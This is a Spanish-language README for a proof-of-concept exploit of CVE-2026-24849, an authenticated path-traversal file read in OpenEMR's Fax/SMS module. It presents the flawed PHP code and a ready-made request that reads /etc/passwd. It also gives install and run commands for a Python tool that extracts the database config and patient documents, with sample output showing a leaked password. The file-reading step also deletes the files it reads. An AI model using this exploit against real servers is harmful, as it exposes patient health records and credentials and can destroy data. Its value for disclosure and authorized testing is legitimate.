
Prueba de concepto para CVE-2026-24849, una lectura arbitraria de archivos por path traversal autenticado en el módulo EtherFax de OpenEMR. Lee archivos del servidor, incluidas credenciales de base de datos y registros de pacientes.
disposeDoc)Exploit de prueba de concepto para CVE-2026-24849, un path traversal / lectura arbitraria de archivos autenticada en el módulo Fax/SMS (EtherFax) de OpenEMR. Cualquier usuario autenticado –sin importar su nivel de privilegios– puede leer archivos arbitrarios del sistema de archivos del servidor como el usuario del servidor web (credenciales de base de datos, documentos de pacientes/PHI, /etc/passwd, ...).
| CVE | CVE-2026-24849 |
| Vulnerabilidad | Path Traversal / Lectura Arbitraria de Archivos (CWE-22) |
| Componente | EtherFaxActions::disposeDoc() – interface/modules/custom_modules/oe-module-faxsms |
| Afectado | OpenEMR < 7.0.4 |
| Corregido en | OpenEMR 7.0.4 |
| Autenticación | Requerida – cualquier usuario, sin privilegios necesarios |
| Severidad | NVD 6.5 (Media) / GitHub CNA 9.9 (Crítica) |
| Probado en | OpenEMR 7.0.2 – Ubuntu 22.04, PHP 8.1, Apache 2.4 |
El método disposeDoc() del módulo Fax/SMS toma un parámetro de solicitud file_path proporcionado por el llamante, confirma que el archivo existe y lo pasa directamente a readfile() sin canonización de ruta, sin lista blanca y sin verificación de autorización más allá de tener una sesión válida:
// interface/modules/custom_modules/oe-module-faxsms/src/Controller/EtherFaxActions.php
public function disposeDoc($content = ''): void
{
$where = $this->getRequest('file_path', null); // controlado por el atacante, sin validar
if (file_exists($where)) {
...
readfile($where); // lectura arbitraria de archivos como el usuario del servidor web
unlink($where); // ⚠ elimina el archivo después de leerlo (ver advertencia abajo)
exit;
}
die('Problem with download. Use browser back button');
}
Se accede al manejador a través del despachador del módulo con una ruta absoluta en file_path (sin necesidad de ../):
GET /interface/modules/custom_modules/oe-module-faxsms/index.php
?site=default
&type=fax
&_ACTION_COMMAND=disposeDoc
&file_path=/etc/passwd
&action=download
Una cuenta con pocos privilegios (o la predeterminada) se convierte en una primitiva completa de lectura de archivos del lado del servidor:
sites/default/sqlconf.phpsites/<site>/documents/, incluso si ese directorio tiene Deny from all en .htaccess (la lectura ocurre en disco, evitando Apache)/etc/passwd, código fuente de la aplicación, claves/tokens legibles por el usuario web⚠️ Comportamiento destructivo
disposeDoc()llama aunlink($where)después de leer el archivo. Leer un archivo que el usuario del servidor web tiene permitido eliminar lo borrará. Los archivos propiedad de root (p. ej.,/etc/passwd,sqlconf.phpen la mayoría de instalaciones) – su directorio padre no es escribible por el usuario web, por lo queunlink()falla y el archivo sobrevive. Sea deliberado sobre a qué apunta esto.
admin:pass predeterminado).requestspip3 install requests
git clone https://github.com/doany1/CVE-2026-24849.git
cd CVE-2026-24849
chmod +x CVE-2026-24849.py
Ejecútelo sin argumentos y solicitará todo lo necesario:
python3 CVE-2026-24849.py
O diríjalo de forma no interactiva con banderas:
# leer un solo archivo
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass -f /etc/passwd
# obtener las credenciales de la BD y guardarlas en un archivo
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass \
-f /var/www/html/openemr/sites/default/sqlconf.php -o sqlconf.php
| Bandera | Descripción | Predeterminado |
|---|---|---|
-t, --target | URL base, p. ej. http://10.10.10.10 | solicitado |
-u, --user | Nombre de usuario de OpenEMR | admin |
-P, --password | Contraseña de OpenEMR | solicitada (oculta) |
-s, --site | ID del sitio de OpenEMR | default |
-f, --file | Ruta absoluta del archivo remoto a leer | bucle interactivo si se omite |
-o, --output | Guardar el archivo obtenido localmente en lugar de imprimirlo |
Si se omite -f, la herramienta entra en un bucle de lectura interactivo para que pueda extraer múltiples archivos desde una sola sesión.
$ python3 CVE-2026-24849.py
[*] OpenEMR < 7.0.4 - Lectura Arbitraria de Archivos Autenticada (CVE-2026-24849)
URL base del objetivo (p. ej. http://10.10.10.10): http://10.10.10.10
Nombre de usuario [admin]:
Contraseña:
Sitio [default]:
[*] Autenticando en http://10.10.10.10 como 'admin' ...
[+] Autenticado; lectura de archivos CVE-2026-24849 confirmada.
[*] Lectura interactiva - introduzca rutas de archivo absolutas (en blanco o 'q' para salir).
file_path: /var/www/html/openemr/sites/default/sqlconf.php
[+] ---------- /var/www/html/openemr/sites/default/sqlconf.php ----------
$login = 'openemr';
$pass = 'openemr123';
$dbase = 'openemr';
[+] --------------------------
requests, manteniendo la sesión en su propio almacén de cookies (evita la rotación de ID de sesión del navegador que hace que las cookies copiadas caduquen).disposeDoc, intentando automáticamente tanto disposeDoc como disposeDocument (el nombre del método difiere entre versiones menores afectadas)..htaccess como único control.Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. Úsela solo contra sistemas que posea o para los que tenga permiso explícito y por escrito. El autor no acepta responsabilidad alguna por el uso indebido o por cualquier daño causado por este software. Tenga en cuenta el comportamiento destructivo de unlink() descrito anteriormente.
doany1
MIT – consulte LICENSE.